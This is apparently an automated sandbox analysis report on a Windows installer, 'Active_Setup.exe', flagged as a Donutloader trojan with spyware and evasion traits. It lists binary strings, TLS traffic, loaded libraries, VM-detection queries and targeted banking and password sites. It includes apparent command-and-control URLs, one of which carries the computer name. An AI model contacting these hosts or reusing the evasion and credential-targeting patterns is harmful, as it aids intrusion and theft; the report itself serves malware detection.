Source: Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1376774816.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364323945.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364839203.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Active_Setup.exe, Active_Setup.exe, 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3688375769.0000000003BBF000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686829759.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.000000000086A000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686537678.0000000000879000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140339829.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2141200053.00000000008F7000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2141159649.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140018540.0000000003BBA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686999015.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=
Source: Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364323945.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364839203.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Active_Setup.exe, 00000000.00000003.2140094418.00000000008B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txt
Source: Active_Setup.exe, 00000000.00000002.3686655552.00000000008B2000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.00000000008B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txtU
Source: Active_Setup.exe, 00000000.00000003.1391700986.000000000403F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Active_Setup.exe, 00000000.00000003.1391700986.000000000403F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1376774816.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364323945.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364839203.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364323945.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364839203.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Active_Setup.exe	String found in binary or memory: https://www.innosetup.com/
Source: Active_Setup.exe, 00000000.00000003.1391700986.000000000403F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: Active_Setup.exe, 00000000.00000003.1391700986.000000000403F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: Active_Setup.exe, 00000000.00000003.1391700986.000000000403F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: Active_Setup.exe, 00000000.00000003.1391700986.000000000403F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Active_Setup.exe, 00000000.00000003.1391700986.000000000403F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Active_Setup.exe	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.52.90:443 -> 192.168.2.7:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.7:49832 version: TLS 1.2

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: 0_2_00AAA790 GetObjectW,GetDC,CreateCompatibleDC,CreateBitmap,CreateCompatibleBitmap,GetDeviceCaps,GetDeviceCaps,SelectObject,GetDIBColorTable,GetDIBits,SelectObject,CreateDIBSection,GetDIBits,SelectObject,SelectPalette,RealizePalette,FillRect,SetTextColor,SetBkColor,SetDIBColorTable,PatBlt,CreateCompatibleDC,SelectObject,SelectPalette,RealizePalette,SetTextColor,SetBkColor,BitBlt,SelectPalette,SelectObject,DeleteDC,SelectPalette,

0_2_00AAA790

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.3687988772.0000000003030000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\Active_Setup.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_008817DF	0_3_008817DF
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0087EC00	0_3_0087EC00
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_00887600	0_3_00887600
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_00887241	0_3_00887241
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_2_00ACFE60	0_2_00ACFE60

Source: Active_Setup.exe

Static PE information: invalid certificate

Source: Active_Setup.exe

Static PE information: Number of sections : 11 > 10

Source: Active_Setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.3687988772.0000000003030000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@3/2

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: 0_2_00AA873C GetLastError,FormatMessageW,

0_2_00AA873C

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: 0_2_00BD6440 CoCreateInstance,

0_2_00BD6440

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: 0_2_00A602E4 FindResourceW,LoadResource,SizeofResource,LockResource,

0_2_00A602E4

Source: C:\Users\user\Desktop\Active_Setup.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\Active_Setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Active_Setup.exe, 00000000.00000003.1377492533.0000000003E25000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364078717.0000000003BE6000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364839203.0000000003BB7000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Active_Setup.exe

Virustotal: Detection: 7%

Source: Active_Setup.exe	String found in binary or memory: /LoadInf=
Source: Active_Setup.exe	String found in binary or memory: -Helper process exited with failure code: 0x%x
Source: Active_Setup.exe	String found in binary or memory: -HelperRegisterTypeLibrary: StatusCode invalidU
Source: Active_Setup.exe	String found in binary or memory: /InstallOnThisVersion: Invalid MinVersion string
Source: Active_Setup.exe	String found in binary or memory: /LoadInf=

Source: C:\Users\user\Desktop\Active_Setup.exe

File read: C:\Users\user\Desktop\Active_Setup.exe

Jump to behavior

Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Active_Setup.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Active_Setup.exe

Static file information: File size 78065437 > 1048576

Source: Active_Setup.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x2a9200

Source: Active_Setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Active_Setup.exe

Static PE information: section name: .didata

Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_00870BF4 push eax; retf	0_3_00870BFD
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_00870BF4 push eax; retf	0_3_00870BFD
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086C354 push eax; ret	0_3_0086C355
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086C354 push eax; ret	0_3_0086C355
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CB54 push eax; retf	0_3_0086CB55
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CB54 push eax; retf	0_3_0086CB55
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CF54 push eax; iretd	0_3_0086CF55
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CF54 push eax; iretd	0_3_0086CF55
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086C350 push eax; ret	0_3_0086C351
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086C350 push eax; ret	0_3_0086C351
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CB50 push eax; retf	0_3_0086CB51
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CB50 push eax; retf	0_3_0086CB51
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CF50 push eax; iretd	0_3_0086CF51
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CF50 push eax; iretd	0_3_0086CF51
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086C364 pushad ; ret	0_3_0086C365
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086C364 pushad ; ret	0_3_0086C365
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CB64 pushad ; retf	0_3_0086CB65
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CB64 pushad ; retf	0_3_0086CB65
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CF64 pushad ; iretd	0_3_0086CF65
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CF64 pushad ; iretd	0_3_0086CF65
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086C360 pushad ; ret	0_3_0086C361
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086C360 pushad ; ret	0_3_0086C361
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CB60 pushad ; retf	0_3_0086CB61
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CB60 pushad ; retf	0_3_0086CB61
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CF60 pushad ; iretd	0_3_0086CF61
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CF60 pushad ; iretd	0_3_0086CF61
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086C368 push 680086C3h; ret	0_3_0086C36D
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086C368 push 680086C3h; ret	0_3_0086C36D
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CB68 push 680086CBh; retf	0_3_0086CB6D
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CB68 push 680086CBh; retf	0_3_0086CB6D
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_3_0086CF68 push 680086CFh; iretd	0_3_0086CF6D

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: 0_2_00C4E1CC IsIconic,GetWindowLongW,GetWindowLongW,GetActiveWindow,SetActiveWindow,

0_2_00C4E1CC

Source: C:\Users\user\Desktop\Active_Setup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Active_Setup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Active_Setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Active_Setup.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Active_Setup.exe

Code function: 0_3_008817DF rdtsc

0_3_008817DF

Source: C:\Users\user\Desktop\Active_Setup.exe TID: 7828

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\Active_Setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_2_009CF8DC FindFirstFileW,FindClose,		0_2_009CF8DC
Source: C:\Users\user\Desktop\Active_Setup.exe	Code function: 0_2_00C60AA4 FindFirstFileW,SetFileAttributesW,FindNextFileW,FindClose,		0_2_00C60AA4

Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Active_Setup.exe, 00000000.00000002.3686097789.0000000000848000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW X
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: Active_Setup.exe, Active_Setup.exe, 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.000000000086A000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686537678.0000000000879000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1470757465.000000000086C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Active_Setup.exe, 00000000.00000003.2140094418.000000000086A000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686537678.000000000086D000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1470757465.000000000086C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW1y
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: Active_Setup.exe, 00000000.00000003.1376970296.0000000003BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
